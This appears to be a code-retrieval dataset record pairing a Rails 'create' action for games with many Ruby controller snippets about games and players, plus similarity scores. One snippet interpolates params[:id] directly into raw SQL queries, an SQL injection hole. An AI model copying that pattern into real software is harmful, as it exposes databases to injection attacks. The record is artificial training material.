"def show\n @game = Game.instance\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @game }\n end\n end",
"def show\n @old_game = OldGame.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @old_game }\n end\n end",
"def games\n @logger.log(BEFORE_CHECK_GAMES)\n parsed_response = get_and_parse(\"/api/games/my_turn.json\")\n games = parsed_response[\"body\"]\n @logger.log(AFTER_CHECK_GAMES, \"Found #{games.size} games\")\n games\n end",
"def show\n @game_tournament = GameTournament.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @game_tournament }\n end\n end",
"def index\n @games = Game.all\n raise RecordNotFound, 'No records on games' if @games.empty?\n\n # TODO: Just for Test. Do not forget to delete when finish the test.\n # raise 'error !!'\n # sleep 1\n\n render 'index', formats: 'json', handlers: 'jbuilder'\n end",
"def index\n @games = Game.get_all_active\n end",
"def show\n @posts = @game.posts.order(created_at: :desc).paginate(page: params[:page], per_page: 5)\n respond_to do |format|\n format.json { render template: 'api/games/game.json' }\n end\n end",
"def show\n @video_game = VideoGame.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @video_game }\n end\n end",
"def show\n @user = User.find(params[:id])\n @games = @user.games\n\n end",
"def show\n @pgn_file = PgnFile.find(params[:id])\n @games = @pgn_file.games.page(params[:page])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @pgn_file }\n end\n end",
"def index\n @games = @theme.games.find(:all)\n\n respond_to do |format|\n format.html # index.rhtml\n format.xml { render :xml => @games.to_xml }\n end\n end",
"def show\n @game_score = GameScore.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @game_score }\n end\n end",
"def index\n @games = Game.all\n end",
"def index\n @games = Game.all\n end",
"def index\n @games = Game.all\n end",
"def index\n @games = Game.all\n end",
"def index\n @games = Game.all\n end",
"def index\n @games = Game.all\n end",
"def index\n @games = Game.all\n end",
"def index\n @games = Game.all\n end",
"def index\n @games = Game.all\n end",
"def index\n @games = Game.all\n end",
"def index\n @games = Game.all\n end",
"def index\n @games = Game.all\n end",
"def index\n @games = Game.all\n end",
"def index\n @games = Game.all\n end",
"def index\n @games = Game.all\n end",
"def index\n @games = Game.all\n end",
"def index\n @games = Game.all\n end",
"def index\n @games = Game.all\n end",
"def index\n @games = Game.all\n end",
"def index\n @games = Game.all\n end",
"def index\n @games = Game.all\n end",
"def index\n @games = Game.all\n end",
"def index\n @games = Game.all\n end",
"def index\n @games = Game.all\n end",
"def game\n fetch('games.super_mario.games')\n end",
"def index\n @players = Player.all\n render json: @players, status: 200\n end",
"def autocomplete_game_search \t\t\t\t \n #@games = Game.name_like(params[\"q\"])[0..10]\n #platform_result = Game.platform_like(params[\"q\"])[0..10] \n @games = Game.search({\"name_cont\" => params[\"q\"]}).result[0..10]\n platform_games = Game.search({\"platform_cont\" => params[\"q\"]}).result[0..10]\n @games = @games | platform_games\n render :json => @games.collect {|game| [game[\"name\"] + \" [\"+game[\"platform\"]+\"]\", game[\"platform\"]]}\n end",
"def index\n @games_from_results = GamesFromResult.all\n end",
"def search\n games_data = BoardGameAtlas::API.search(params[:name])\n render json: { games: games_data.map }\n end",
"def index\n @games = @organization.games\n end",
"def index\n @teams = Team.all\n render json: @teams\n end",
"def index\n player = Player.all\n render json: players, status: 200\n end",
"def show\n if Game.last\n @game = Game.find(params[:id])\n render json: @game\n else\n @game = Game.create()\n render json: @game\n end\n end",
"def games_get_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: DefaultApi.games_get ...\"\n end\n # resource path\n local_var_path = \"/games\"\n\n # query parameters\n query_params = {}\n query_params[:'page'] = opts[:'page'] if !opts[:'page'].nil?\n query_params[:'page_size'] = opts[:'page_size'] if !opts[:'page_size'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = []\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'InlineResponse2004')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DefaultApi#games_get\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def show\n @game = Game.find_by_id(params[:id])\n\n unless @game\n flash[:error] = \"Game not found.\"\n redirect_to games_path\n return\n end\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @game }\n end\n end",
"def index\n @players = Player.order(:gamertag_lower).all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @players }\n end\n end",
"def index\n\t\t@games = Game.all\n\tend",
"def show\n @game = Game.find(params[:id])\n @matches = @game.player_matchups\n @scores = @game.scores\n @match_points = @matches.collect { |mp| @game.match_scores(mp.first, mp.last) }\n @net_points = @game.net_points\n\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @game }\n end\n end",
"def show\n @game_game_instance = Game::GameInstance.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @game_game_instance }\n end\n end",
"def game_details\n new_game = Game.last\n\n render :json => new_game.to_json( :include => :players )\n end",
"def show\n @game_code = GameCode.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @game_code }\n end\n end",
"def index\n @players = Player.all\n render json: @players\n end",
"def show\n @game = ActiveRecord::Base.connection.execute(\"\n SELECT * \n FROM games \n WHERE gid = #{params[:id]} \n LIMIT 1\").first\n\n @characters = ActiveRecord::Base.connection.execute(\"\n SELECT c.*\n FROM characters c\n JOIN game_characters g \n ON g.cid = c.cid\n WHERE gid = #{params[:id]}\")\n\n @items = ActiveRecord::Base.connection.execute(\"\n SELECT i.*\n FROM items i\n JOIN game_items g \n ON i.iid = g.iid\n WHERE gid = #{params[:id]}\")\n\n @tracks = ActiveRecord::Base.connection.execute(\"\n SELECT t.*\n FROM tracks t\n JOIN game_tracks gt \n ON t.tid = gt.tid\n WHERE gid = #{params[:id]}\")\n\n @karts = ActiveRecord::Base.connection.execute(\"\n SELECT k.*\n FROM karts k\n JOIN game_karts gk \n ON k.kid = gk.kid\n WHERE gid = #{params[:id]}\")\n\n @console = ActiveRecord::Base.connection.execute(\"\n SELECT gc.*\n FROM consoles gc\n JOIN console_games cg \n ON gc.gcid = cg.gcid\n WHERE gid = #{params[:id]}\n LIMIT 1\").first\n\n respond_to do |format|\n format.html\n format.json {render json: Game.find(@game[0])}\n end\n end",
"def index\n @howtoplaygames = Howtoplaygame.all\n end",
"def index\n @games = current_creator.games\n redirect_to root_path\n end"
] |
[
"0.7166742",
"0.7131815",
"0.69554263",
"0.6936055",
"0.69303036",
"0.6930153",
"0.69301254",
"0.69301254",
"0.69301254",
"0.6916955",
"0.69074756",
"0.68980235",
"0.68433213",
"0.67699003",
"0.6756346",
"0.67544955",
"0.6735974",
"0.6669092",
"0.66435474",
"0.6631597",
"0.6631597",
"0.6631597",
"0.6631597",
"0.6631597",
"0.6631597",
"0.6631597",
"0.6614999",
"0.6608706",
"0.66028726",
"0.65995187",
"0.65941447",
"0.65931326",
"0.6586616",
"0.6582893",
"0.658144",
"0.65643233",
"0.65598625",
"0.65474534",
"0.65466195",
"0.6533496",
"0.6520345",
"0.6493412",
"0.648721",
"0.64168733",
"0.6415183",
"0.63870305",
"0.6363416",
"0.6349705",
"0.6341237",
"0.6303056",
"0.6297928",
"0.62915987",
"0.6285318",
"0.6283672",
"0.6274997",
"0.62674373",
"0.6259498",
"0.6255958",
"0.6255958",
"0.6255958",
"0.6255958",
"0.6255958",
"0.6255958",
"0.6255958",
"0.6255958",
"0.6255958",
"0.6255958",
"0.6255958",
"0.6255958",
"0.6255958",
"0.6255958",
"0.6255958",
"0.6255958",
"0.6255958",
"0.6255958",
"0.6255958",
"0.6255958",
"0.6255958",
"0.6255958",
"0.6255958",
"0.6254372",
"0.62499833",
"0.6243774",
"0.62342846",
"0.62298495",
"0.6227305",
"0.6211027",
"0.62036115",
"0.62030905",
"0.61976814",
"0.6192697",
"0.61814415",
"0.6176659",
"0.61752874",
"0.6172802",
"0.6160892",
"0.61594534",
"0.6152179",
"0.6150964",
"0.61497384",
"0.61473197"
] |
0.0
|
-1
|
POST /qa_games POST /qa_games.json
|
def create
@qa_game = QaGame.new(qa_game_params)
respond_to do |format|
if @qa_game.save
format.html { redirect_to @qa_game, notice: 'Qa game was successfully created.' }
format.json { render :show, status: :created, location: @qa_game }
else
format.html { render :new }
format.json { render json: @qa_game.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def create\n @game = current_or_guest_user.games.create\n render json: @game, status: 201\n end",
"def create\n game = @current_user.games.create!(game_params)\n render json: { game: game }\n end",
"def create\n @new_game = Game.create(game_params)\n render json: @new_game\n\n end",
"def create\n new_game = helpers.generate_game(params[\"game_name\"])\n\n slack_id = params[\"slack_id\"]\n\n response_url = params[\"response_url\"]\n\n @game = Game.new(new_game.new_game_data)\n\n if @game.save\n player = Player.exists?(slack_id: \"#{slack_id}\")\n if player\n player_records = Player.find_by(slack_id: \"#{slack_id}\")\n Rails.logger.info player_records[\"id\"].inspect\n render :json => {game_id: \"#{@game.id}\", player: \"#{player}\", player_id: \"#{player_records[\"id\"]}\"}\n else\n render :json => {game_id: \"#{@game.id}\", player: \"#{player}\"}\n end\n else\n render json: @game.errors, status: :unprocessable_entity\n end\n\n word_blanks = new_game.display_word_state\n\n HTTParty.post(response_url, \n {\n body: {\"text\" => \"#{word_blanks}\",\"response_type\" => \"in_channel\"}.to_json,\n headers: {\n \"Content-Type\" => \"application/json\"\n }\n }\n )\n \n end",
"def create\n @game = Game.new(params[:game])\n\t\n #First update the players table to indicate who is playing this game\n set_player_availability(params)\n \n #Create a team to hold the home team players\n home_team = Team.new\n home_team.name = params[:home_team_name]\n home_team.save\n @game.home_team_id = home_team.id\n \n #Create a team to hold the away team players\n away_team = Team.new\n away_team.name = params[:away_team_name]\n away_team.save\n @game.away_team_id = away_team.id\n \n #Create home and away teams from available players\n build_teams(home_team, away_team)\n \n respond_to do |format|\n if @game.save\n format.html { redirect_to @game, notice: 'Game was successfully created.' }\n format.json { render json: @game, status: :created, location: @game }\n else\n format.html { render action: \"new\" }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @game = Game.new(game_params)\n\n params[:players].each do |player_name|\n p = Player.new\n p.name = player_name\n p.game = @game\n p.save!\n end\n\n respond_to do |format|\n if @game.save\n format.html { redirect_to @game, notice: 'Game was successfully created.' }\n format.json { render action: 'show', status: :created, location: @game }\n else\n format.html { render action: 'new' }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @game = Game.new(params[:game])\n @corporations = Corporation.order(:faction, :slogan)\n @runners = Runner.order(:faction, :name)\n\n respond_to do |format|\n if @game.save\n format.html { redirect_to @game, notice: 'Game was successfully created.' }\n format.json { render json: @game, status: :created, location: @game }\n else\n format.html { render action: \"new\" }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @game = @contest.games.new(game_params)\n\n respond_to do |format|\n if @game.save\n format.html { redirect_to contest_games_path, notice: 'Game was successfully created.' }\n format.json { render action: 'show', status: :created, location: @game }\n else\n format.html { render action: 'new' }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @game = Game.new(game_params)\n @game.user_id = params[:game][:user].first[:id]\n @game.item_id = params[:game][:item].first[:id]\n\n if @game.save\n render json: @game, status: :created, location: @game\n else\n render json: @game.errors, status: :unprocessable_entity\n end\n end",
"def create\n @game = current_user.games.new(game_params)\n\n respond_to do |format|\n if @game.save\n format.html { redirect_to game_steps_path(game_id: @game.id), notice: 'La partie a bien été créée' }\n format.json { render :show, status: :created, location: games_path }\n else\n format.html { render :new }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n p = game_params\n\n home_team_name = p.delete(:home_team_name)\n away_team_name = p.delete(:away_team_name)\n p[:home_team_id] = find_or_create_team(home_team_name).try(:id)\n p[:away_team_id] = find_or_create_team(away_team_name).try(:id)\n\n @game = Game.new(p)\n @game.user = current_user\n respond_to do |format|\n if @game.save\n format.html { redirect_to @game, notice: 'Game was successfully created.' }\n format.json { render :show, status: :created, location: @game }\n else\n format.html { render :new, notice: 'Game was successfully created.' }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end",
"def game_params\n params.require(:game).permit(:contest_id, :team_a_name, :team_b_name, :team_a_result, :team_b_result, :game_date, :group, :active, :user_id, :entry_id, :game_id, :raffle_number)\n end",
"def game_params\n params.require(:game).permit(:home_team, :home_team_result, :visit_team, :visit_team_result, :stadium, :game_date, :tournament_id, :status, :points, :scorepoints)\n end",
"def create\n @game = Game.new(game_params)\n\n respond_to do |format|\n if @game.save\n format.html { redirect_to @game, notice: 'Game was successfully created.' }\n format.json { render :show, status: :ok, location: game_url(@game, format: :json) }\n else\n format.html { render :new }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end",
"def game_params\n params.require(:game).permit(:teamh, :teama, :teama_id, :teamh_id, :league, :event_time, :teama_score, :teamh_score, :score_spread, :status, :game_winner, :event_city, :event_venue, :season, :title)\n end",
"def create\n @game = Game.new(game_params)\n\n respond_to do |format|\n if @game.save\n format.html { redirect_to games_url, notice: \"Game was successfully created.\" }\n format.json { render :show, status: :created, location: @game }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @game = Game.new(params[:game])\n\n respond_to do |format|\n format.html { redirect_to @game, notice: 'Game was successfully created.' }\n format.json { render json: @game, status: :created, location: @game }\n end\n end",
"def create\n @user = User.find(params[:user_id])\n @game = @user.games.new(params[:game])\n\n respond_to do |format|\n if @game.save\n format.html { redirect_to user_game_path(@user,@game), :notice => 'Game was successfully created.' }\n format.json { render :json => @game, :status => :created }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @game.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @game = current_user.games_as_player1.new(params[:game])\n\n respond_to do |format|\n if @game.save\n format.html { redirect_to @game, notice: 'Game was successfully created.' }\n format.json { render json: @game, status: :created, location: @game }\n else\n populate_players\n format.html { render action: \"new\" }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @game = Game.new(game_params)\n\n respond_to do |format|\n if @game.save\n format.html { redirect_to games_path, notice: 'Game was successfully created.' }\n format.json { render :show, status: :created, location: @game }\n else\n format.html { render :new }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @game = Game.new(params[:game])\n\n respond_to do |format|\n if @game.save\n format.html { redirect_to @game, notice: 'Game was successfully created.' }\n format.json { render json: @game, status: :created, location: @game }\n else\n format.html { render action: \"new\" }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @game = Game.new(params[:game])\n\n respond_to do |format|\n if @game.save\n format.html { redirect_to @game, notice: 'Game was successfully created.' }\n format.json { render json: @game, status: :created, location: @game }\n else\n format.html { render action: \"new\" }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @game = Game.new(params[:game])\n\n respond_to do |format|\n if @game.save\n format.html { redirect_to @game, notice: 'Game was successfully created.' }\n format.json { render json: @game, status: :created, location: @game }\n else\n format.html { render action: \"new\" }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @game = Game.new(params[:game])\n\n respond_to do |format|\n if @game.save\n format.html { redirect_to @game, notice: 'Game was successfully created.' }\n format.json { render json: @game, status: :created, location: @game }\n else\n format.html { render action: \"new\" }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @game = Game.new(params[:game])\n\n respond_to do |format|\n if @game.save\n format.html { redirect_to @game, notice: 'Game was successfully created.' }\n format.json { render json: @game, status: :created, location: @game }\n else\n format.html { render action: \"new\" }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n if current_user.role == \"admin\" || current_user.role == \"god\"\n @game = Game.new(game_time: params[\"date\"] + \" \" + params[\"time\"])\n\n @game.game_teams.build(team_id: params[\"home_team_id\"], home_team: true)\n @game.game_teams.build(team_id: params[\"away_team_id\"], home_team: false)\n end\n\n respond_to do |format|\n if current_user.role == :admin || current_user.role == :god || @game.save\n format.html { redirect_to @game, notice: 'Game was successfully created.' }\n format.json { render json: { message: \"Created Game\" } }\n else\n format.html { render :new }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end",
"def game_params\n params.permit(:game,:answer)\n end",
"def fetch_json(game)\n RestClient.post(\"#{ENV['BASE_URI']}\" + \"#{ENV['ENDPOINT']}\", game.to_json, content_type: :json)\n end",
"def create\n @game = Game.new(game_params)\n\n respond_to do |format|\n if @game.save\n format.html { redirect_to @game, notice: \"Game was successfully created.\" }\n format.json { render :show, status: :created, location: @game }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @games_team = GamesTeam.new(games_team_params)\n\n respond_to do |format|\n if @games_team.save\n format.html { redirect_to @games_team, notice: 'Games team was successfully created.' }\n format.json { render :show, status: :created, location: @games_team }\n else\n format.html { render :new }\n format.json { render json: @games_team.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @game = Game.new(game_params)\n respond_to do |format|\n if @game.save\n format.html { redirect_to @game, notice: 'Game was successfully created.' }\n format.json { render :show, status: :created, location: @game }\n else\n format.html { render :new }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end",
"def game_params\n params.require(:game).permit(:nr, :date, :home_id, :away_id, :score_home, :score_away)\n end",
"def create\n @game = GameBuilder.build(game_params)\n\n respond_to do |format|\n if @game.save\n format.html { redirect_to @game, notice: 'Game was successfully created.' }\n format.json { render :show, status: :created, location: @game }\n else\n format.html { render :new }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @game = Game.new(game_params)\n\n respond_to do |format|\n\n calculategeneraltable(@game.tournament_id, @game.home_team)\n calculategeneraltable(@game.tournament_id, @game.visit_team)\n\n if @game.save\n format.html { redirect_to @game, notice: 'Game was successfully created.' }\n format.json { render :show, status: :created, location: @game }\n else\n format.html { render :new }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @game = Game.new(game_params)\n\n respond_to do |format|\n if @game.save\n format.html { redirect_to @game, notice: 'Game was successfully created.' }\n format.json { render :show, status: :created, location: @game }\n else\n format.html { render :new }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @game = Game.new(game_params)\n\n respond_to do |format|\n if @game.save\n format.html { redirect_to @game, notice: 'Game was successfully created.' }\n format.json { render :show, status: :created, location: @game }\n else\n format.html { render :new }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @game = Game.new(game_params)\n\n respond_to do |format|\n if @game.save\n format.html { redirect_to @game, notice: 'Game was successfully created.' }\n format.json { render :show, status: :created, location: @game }\n else\n format.html { render :new }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @game = Game.new(game_params)\n\n respond_to do |format|\n if @game.save\n format.html { redirect_to @game, notice: 'Game was successfully created.' }\n format.json { render :show, status: :created, location: @game }\n else\n format.html { render :new }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @game = Game.new(game_params)\n\n respond_to do |format|\n if @game.save\n format.html { redirect_to @game, notice: 'Game was successfully created.' }\n format.json { render :show, status: :created, location: @game }\n else\n format.html { render :new }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @game = Game.new(game_params)\n\n respond_to do |format|\n if @game.save\n format.html { redirect_to @game, notice: 'Game was successfully created.' }\n format.json { render :show, status: :created, location: @game }\n else\n format.html { render :new }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @game = Game.new(game_params)\n\n respond_to do |format|\n if @game.save\n format.html { redirect_to @game, notice: 'Game was successfully created.' }\n format.json { render :show, status: :created, location: @game }\n else\n format.html { render :new }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @game = Game.new(game_params)\n\n respond_to do |format|\n if @game.save\n format.html { redirect_to @game, notice: 'Game was successfully created.' }\n format.json { render :show, status: :created, location: @game }\n else\n format.html { render :new }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @game = Game.new(game_params)\n\n respond_to do |format|\n if @game.save\n format.html { redirect_to @game, notice: 'Game was successfully created.' }\n format.json { render :show, status: :created, location: @game }\n else\n format.html { render :new }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @game = Game.new(game_params)\n\n respond_to do |format|\n if @game.save\n format.html { redirect_to @game, notice: 'Game was successfully created.' }\n format.json { render :show, status: :created, location: @game }\n else\n format.html { render :new }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @player_game = PlayerGame.new(params[:player_game])\n\n respond_to do |format|\n if @player_game.save\n format.html { redirect_to @player_game, :notice => 'Player game was successfully created.' }\n format.json { render :json => @player_game, :status => :created, :location => @player_game }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @player_game.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def game_params\n params.require(:game).permit(:date, :round_id, :home_team, :visitor_team, :stadium_id)\n end",
"def create\n @mini_game = MiniGame.new(mini_game_params)\n if @mini_game.save\n render json: @mini_game, status: :ok\n else\n render json: @mini_game.errors, status: :unprocessable_entity\n end\n end",
"def game_params\n params.permit(:name, :location, :winner, :stage, :status, :quest_num, :mls_num)\n end",
"def create_new_pg_game\n @log.debug \"bot create_new_pg_game on state #{@state_pg_create}, supported games num: #{@supported_games.size}\"\n if @state_pg_create != :submitted\n #p @supported_games\n @supported_games.each do |item|\n if item[:name] == nil\n @log.warn \"Ignore to send game creation without a name maybe it is disabled in game_info, item is #{ObjTos.stringify(item)}\"\n next\n end\n @log.debug \"Submit pg game on #{item[:name]}\"\n #msg_det = \"#{item[:name]},#{item[:stropt]}\"\n info = {\n :game => item[:name],\n :prive => {:val => false, :pin => '' },\n :class => @playfor_classment,\n :opt_game => item[:opt] \n }\n @log.debug \"auto_create_new_game, pg_create2: #{ObjTos.stringify(info)}\"\n @control_net_conn.send_create_pg2(info)\n end\n @state_pg_create = :submitted\n end\n end",
"def create\n @playedgame = Playedgame.new(playedgame_params)\n\n respond_to do |format|\n if @playedgame.save\n format.html { redirect_to @playedgame, notice: 'Playedgame was successfully created.' }\n format.json { render :show, status: :created, location: @playedgame }\n else\n format.html { render :new }\n format.json { render json: @playedgame.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @game = Game.new(game_params)\n\n respond_to do |format|\n if @game.save\n format.html { redirect_to @game, notice: 'Game was successfully created.' }\n format.json { render action: 'show', status: :created, location: @game }\n else\n format.html { render action: 'new' }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @gamesofweek = Gamesofweek.new(gamesofweek_params)\n\n respond_to do |format|\n if @gamesofweek.save\n format.html { redirect_to @gamesofweek, notice: 'Gamesofweek was successfully created.' }\n format.json { render action: 'show', status: :created, location: @gamesofweek }\n else\n format.html { render action: 'new' }\n format.json { render json: @gamesofweek.errors, status: :unprocessable_entity }\n end\n end\n end",
"def game_params\n params.require(:game).permit(:game_name, :word, :lives, :status, :result )\n end",
"def create\n @game = Game.new(params[:game])\n @game.game_state = \"started\"\n\n respond_to do |format|\n if @game.save\n format.html { redirect_to @game, notice: 'Game was successfully created.' }\n format.json { render json: @game, status: :created, location: @game }\n else\n format.html { render action: \"new\" }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @game = Game.new(params[:game].merge({ :user_id => current_user.id }))\n\n respond_to do |format|\n if @game.save\n format.html { redirect_to games_path, notice: 'Game was successfully added.' }\n format.json { render json: @game, status: :created, location: @game }\n else\n format.html { render action: \"new\" }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end",
"def game_params\n params.require(:game).permit(:team_id, :opponent_id, :team_score, :opponent_score, :date, :location,:tournament_id, :fecha)\n end",
"def create\n @games_leaderboard = Games::Leaderboard.new(games_leaderboard_params)\n\n if @games_leaderboard.save\n render json: @games_leaderboard, status: :created, location: @games_leaderboard\n else\n render json: @games_leaderboard.errors, status: :unprocessable_entity\n end\n end",
"def create\n @game = Game.new(game_params)\n @game.user_id = current_user.id \n @game.img_url_small = APIS::Giantbomb.new.game_by_id(@game.game_id)[\"results\"][\"image\"][\"screen_url\"]\n @game.img_url_large = APIS::Giantbomb.new.game_by_id(@game.game_id)[\"results\"][\"image\"][\"small_url\"]\n @game.deck = APIS::Giantbomb.new.game_by_id(@game.game_id)[\"results\"][\"deck\"]\n @game.developers = APIS::Giantbomb.new.game_by_id(@game.game_id)[\"results\"][\"developers\"][0][\"name\"]\n @game.genre = APIS::Giantbomb.new.game_by_id(@game.game_id)[\"results\"][\"genres\"][0][\"name\"]\n\n respond_to do |format|\n if @game.save\n format.html { redirect_to search_index_path, notice: 'Game was successfully created.' }\n format.json { render :show, status: :created, location: @game }\n else\n format.html { render :new }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n new_user_game = {}\n new_user_game[:game_id] = params[:game_id].to_i\n new_user_game[:user_id] = current_user.id\n @user_game = UserGame.new(new_user_game)\n\n respond_to do |format|\n if @user_game.save\n format.html { redirect_to user_games_url, notice: 'User game was join in game with success.' }\n format.json { render action: 'index', status: :created, location: @user_game }\n else\n format.html { redirect_to root_path }\n format.json { head :no_content }\n end\n end\n end",
"def create\r\n\r\n #look for an existing session\r\n\t\r\n @session = Session.where(\"state='waiting' AND updated_at between ? and ?\", Time.now - 60, Time.now).order(\"created_at ASC\").limit(1).first\r\n\t\r\n\t\r\n #can't find one? let's create one.\r\n if(@session.blank?)\r\n @session = Session.new\r\n @session.state = 'waiting'\r\n else\r\n @session.state = 'active'\r\n @session.game = Game.new\r\n @session.current_question = 0\r\n #questions = Question.find(:all, :order => \"created_at ASC\", :limit => 7 )\r\n questions = []\r\n\r\n #for i in 0..3\r\n # questions << Question.random\r\n #end\r\n\r\n\t #questions = Question.find(:all, :order => \"created_at ASC\", :limit => 4 )\r\n questions = Question.where(\"questionset_id = 2\")\r\n \r\n\t \r\n\t questions = questions.sample(6)\r\n\t \r\n\t \r\n\t questions.all? do |question|\r\n @session.game.questions << question\r\n end\r\n\r\n @session.game.game_questions.each_with_index do |gameQuestion, index|\r\n generate_choices(questions, gameQuestion, index)\r\n #@session.game.questions[index].choices = distractors\r\n #gameQuestion.update_attributes(:distractors => ActiveSupport::JSON.encode(distractors))\r\n end\r\n\r\n\r\n logger.debug @session.game.id\r\n\r\n end\r\n\r\n\r\n logger.debug @session\r\n json = ActiveSupport::JSON.decode(request.raw_post)\r\n\r\n #handling json\r\n if(!json.blank?)\r\n player = Player.find(json['playerId'])\r\n #add this player to the session\r\n @session.players.push(player)\r\n logger.debug player\r\n end\r\n\r\n\r\n\r\n respond_to do |format|\r\n if @session.save\r\n format.html { redirect_to(@session, :notice => 'Session was successfully created.') }\r\n format.xml { render :xml => @session, :status => :created, :location => @session }\r\n #format.json { render :json => @session, :status => :created, :location => @session }\r\n format.json { render_for_api :complete_session, :json => @session, :root => :session }\r\n\r\n else\r\n format.html { render :action => \"new\" }\r\n format.xml { render :xml => @session.errors, :status => :unprocessable_entity }\r\n format.json { render :json => @session.errors, :status => :unprocessable_entity }\r\n end\r\n end\r\n end",
"def create\n @league_game = LeagueGame.new(league_game_params)\n\n respond_to do |format|\n if @league_game.save\n format.html { redirect_to @league_game, notice: 'League game was successfully created.' }\n format.json { render action: 'show', status: :created, location: @league_game }\n else\n format.html { render action: 'new' }\n format.json { render json: @league_game.errors, status: :unprocessable_entity }\n end\n end\n end",
"def game_params\n params.require(:game).permit(:name, :status, :hotline_open)\n end",
"def create\n @game = Game.new(game_params)\n scores = params[:score].split(\"-\")\n params[:player].each do |team_number, players|\n players.each do |player_name|\n player = Player.find_by(name: player_name)\n participation = Participation.create(player: player, team_number: team_number.to_i, score: scores[team_number.to_i]) \n if participation.valid?\n @game.participations << participation \n end\n end\n end\n\n respond_to do |format|\n if @game.save\n format.html { redirect_to games_url, notice: 'Game was successfully created.' }\n format.json { render action: 'show', status: :created, location: @game }\n else\n format.html { render action: 'new' }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @games_of_week = GamesOfWeek.new(games_of_week_params)\n\n respond_to do |format|\n if @games_of_week.save\n format.html { redirect_to @games_of_week, notice: 'Games of week was successfully created.' }\n format.json { render action: 'show', status: :created, location: @games_of_week }\n else\n format.html { render action: 'new' }\n format.json { render json: @games_of_week.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new_game\n\tresponse\n\tif params[\"difficulty\"]\n\t\tdifficulty = params[\"difficulty\"]\n\t\tsettings.game_data = Ben::Game.new( Integer difficulty )\n\t\tresponse = game_json\n\telse\n\t\tresponse = \"Server couldn't load new game.\"\n\tend\n\treturn response\nend",
